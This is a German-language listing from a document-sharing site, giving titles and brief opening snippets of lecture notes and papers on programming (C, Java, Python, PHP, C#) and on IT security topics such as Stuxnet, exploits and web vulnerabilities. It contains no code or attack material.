MehrEinleitung. Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ Kurzeinführung in C/C++
Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ 1 Einleitung Vorteile von Java: gut strukturiert mit hohem Funktionsumfang (mächtige Standardbibliothek) weitestgehend
MehrDie elementare Ausgabe von Daten auf externe Medien, wie Dateien und das Einlesen davon wird demonstriert.
Ein- und Ausgabe Die elementare Ausgabe von Daten auf externe Medien, wie Dateien und das Einlesen davon wird demonstriert. Komplexe E/A-Operationen werden erst diskutiert, nachdem das Klassenkonzept erarbeitet
MehrGrundlagen der Informatik 6. Arrays I
6. Arrays I Motivation Array (konstante Länge) Speicherbereich Eingabe von Arrays Grundlagen der Informatik (Alex Rempel) 1 Motivation Beispiel: Bildschirmpixel zeichnen Auflösung 800x600, d.h. insgesamt
MehrAnhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842.
Anhang A - Weitere Bibliotheken WAGO-I/O-PRO 32 Bibliothek Mail_02.lib Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Inhalt Mail_02.lib 3 MAIL_SmtpClient...
MehrProgrammentwicklung ohne BlueJ
Objektorientierte Programmierung in - Eine praxisnahe Einführung mit Bluej Programmentwicklung BlueJ 1.0 Ein BlueJ-Projekt Ein BlueJ-Projekt ist der Inhalt eines Verzeichnisses. das Projektname heißt wie
MehrEntwicklungsumgebung für die Laborübung
Entwicklungsumgebung für die Laborübung VL Datenbanksysteme Ingo Feinerer Arbeitsbereich Datenbanken und Artificial Intelligence Institut für Informationssysteme Technische Universität Wien Gliederung
MehrIm Windows Betriebssystem sind Dateien eindeutig gekennzeichnet durch ihren Pfad, Dateinamen und nach einem Punkt die Dateierweiterung.
Dateioperationen Seite 1 von 12 Im Windows Betriebssystem sind Dateien eindeutig gekennzeichnet durch ihren Pfad, Dateinamen und nach einem Punkt die Dateierweiterung. z.b.: c:\testdateien\text.dat //Datendatei
MehrMALWARE AM BEISPIEL VON STUXNET
MALWARE AM BEISPIEL VON STUXNET IAV10/12 24.05.2011 Jan Heimbrodt Inhalt 1. Definition Was ist Malware? 2. Kategorisierung von Malware Viren, Würmer, Trojaner, 3. Was macht Systeme unsicher? Angriffsziele,
MehrEmbedded SQL in PostgreSQL
7. Dezember 2010 Michael Meskes Seit 1993 Freie Software Seit 1994 Linux Seit 1995 Debian GNU/Linux Seit 1998 PostgreSQL Michael Meskes 1992-1996 Promotion 1996-1998 Projektleiter 1998-2000 Niederlassungsleiter
MehrExploits Wie kann das sein?
Exploits Durch eine Schwachstelle im Programm xyz kann ein Angreifer Schadcode einschleusen. Manchmal reicht es schon irgendwo im Internet auf ein präpariertes Jpg-Bildchen zu klicken und schon holt man
MehrProgrammieren in C. Die C-Standardbibliothek. Prof. Dr. Nikolaus Wulff
Programmieren in C Die C-Standardbibliothek Prof. Dr. Nikolaus Wulff Die C-Standard Bibliothek Mit dem C Compiler werden viel fertige Bibliotheksfunktionen ausgeliefert. Eine genaue Kenntnis dieser Funktionen
Mehr09.10.2015. 02.10.2015 + 07.10.2015 Seite 1. 02.10.2015 + 07.10.2015 Seite 2
02.10.2015 + 07.10.2015 Seite 1 02.10.2015 + 07.10.2015 Seite 2 1 Anzahl der Klassenarbeiten: Mindestens zwei Klassenarbeiten pro Halbjahr (= 4 KA pro Jahr) Im ersten Ausbildungsjahr gibt es jedoch kein
MehrEmbedded Toolchain. 1 C/C++-Grundlagen. strncpy_s, strcpy_s etc. V 4.02; Hon. Prof. Helmke 1
1 C/C++-Grundlagen strncpy_s, strcpy_s etc. V 4.02; Hon. Prof. Helmke 1 Anwendung von malloc/free: Dynamische Felder char name[20]; strcpy(name, Helmke ); char* pname;... pname = malloc(sizeof(char)*20);
MehrWeb Applications Vulnerabilities
Bull AG Wien Web Applications Vulnerabilities Philipp Schaumann Dipl. Physiker Bull AG, Wien www.bull.at/security Die Problematik Folie 2 Der Webserver ist das Tor zum Internet auch ein Firewall schützt
MehrLinux - a bit advanced
Linux - a bit advanced Überblick Rechteverwaltung Dateisystem Shell-Programmierung Remote login Paketsystem Alternativen-System Rechte Drei Benutzerklassen Owner/User Group Others Drei Rechte Ausführen
MehrHausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010
1 Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 Hausarbeit Thema: Computersicherheit Seminar: Datenschutz und Datenpannen Verfasser: Dmitrij Miller Abgabetermin: 5.3.2010
MehrTIn 1: Feedback Laboratories. Lecture 4 Data transfer. Question: What is the IP? Institut für Embedded Systems. Institut für Embedded Systems
Mitglied der Zürcher Fachhochschule TIn 1: Lecture 4 Data transfer Feedback Laboratories Question: What is the IP? Why do we NEED an IP? Lecture 3: Lernziele Moving data, the why s and wherefores Moving
MehrVIVIT TQA Treffen in Köln am 18. 04. 2013. API- Programmierung und Nutzung bei HP Quality Center / ALM. Michael Oestereich IT Consultant QA
VIVIT TQA Treffen in Köln am 18. 04. 2013 API- Programmierung und Nutzung bei HP Quality Center / ALM Michael Oestereich IT Consultant QA Agenda Vorstellung der API- Versionen OTA- API SA- API REST- API
MehrDynamische Webseiten mit PHP. Oder: LAMP - The open way
Dynamische Webseiten mit PHP Oder: LAMP - The open way Verbreitung Neben ASP verbreitetste Web-Scripting-Umgebung LAMP (Linux, Apache, mysql, PHP): freie Alternative zu M$ Überblick Dynamische Webseiten
MehrBetriebssysteme, Rechnernetze und verteilte Systeme 1. Crashkurs C (2)
Betriebssysteme, Rechnernetze und verteilte Systeme 1 Crashkurs C (2) Olaf Spinczyk Arbeitsgruppe Eingebettete Systemsoftware Lehrstuhl für Informatik 12 TU Dortmund olaf.spinczyk@tu-dortmund.de http://ess.cs.uni-dortmund.de/teaching/ss2008/bsrvs1/
Mehr2 Eine einfache Programmiersprache
2 Eine einfache Programmiersprache Eine Programmiersprache soll Datenstrukturen anbieten Operationen auf Daten erlauben Kontrollstrukturen zur Ablaufsteuerung bereitstellen Als Beispiel betrachten wir
MehrBAUINFORMATIK. SS 2013 Vorlesung 1 Johannes Lange
BAUINFORMATIK SS 2013 Vorlesung 1 Johannes Lange Vorstellung 2 Dr.-Ing. Johannes Lange Softwareentwicklung, Organisation Projekt-, Qualitätsmanagement CAD Gebäudebetrachtung Technische Ausrüstung (TGA)
MehrPython Programmierung. Dipl.-Ing.(FH) Volker Schepper
Python Programmierung Kontaktdaten Homepage: http://wwwlehre.dhbw-stuttgart.de/~schepper/ Email: Volker. Schepper [A@T] yahoo.de Vorlesung Skriptsprachen Vorlesung: 06.03.2013 13.03.2013 20.03.2013 27.03.2013
MehrGrundlagen der OO- Programmierung in C#
Grundlagen der OO- Programmierung in C# Technische Grundlagen 1 Dr. Beatrice Amrhein Überblick Visual Studio: Editor und Debugging Die Datentypen Methoden in C# Die Speicherverwaltung 2 Visual Studio 3
MehrC++-Zusammenfassung. H. Schaudt. August 18, 2005
C++-Zusammenfassung H. Schaudt August 18, 2005 1 Datentypen 1.1 Grunddatentypen int (-32xxx bis +32xxx, implementerungs-abhängig) char -128 bis +128 float double bool (C++) int und char sind austauschbar:
MehrDynamische Speicherverwaltung
Dynamische Speicherverwaltung 1/ 23 Dynamische Speicherverwaltung Tim Dobert 17.05.2013 Dynamische Speicherverwaltung 2/ 23 Gliederung 1 Allgemeines zur Speichernutzung 2 Ziele und Nutzen 3 Anwendung in
MehrZeichendarstellung. Zeichen sind Zahlen (in C) Zeichen und switch
darstellung Arbeiten mit darstellung werden im Computer durch (kleine) Zahlen dargestellt in C können im Datentyp char gespeichert werden, dieser umfasst ein Byte und gilt als Ganzzahltyp darstellung Arbeiten
MehrII. Grundlagen der Programmierung. Beispiel: Merge Sort. Beispiel: Merge Sort (Forts. ) Beispiel: Merge Sort (Forts. )
Technische Informatik für Ingenieure (TIfI) WS 2006/2007, Vorlesung 9 II. Grundlagen der Programmierung Ekkart Kindler Funktionen und Prozeduren Rekursion Datenstrukturen Merge S ( split, s, merge ) Beispiel:
MehrDatenschutztag. Eine Präsentation von Mateusz Gwara, Philipp Leder, Paul Panser und Patrick Wilke
Datenschutztag Eine Präsentation von Mateusz Gwara, Philipp Leder, Paul Panser und Patrick Wilke 1. Website Security Gliederung 2. Viren, Trojaner & Antivirensoftware 3. Phishing & Gefahren des World Wide
Mehr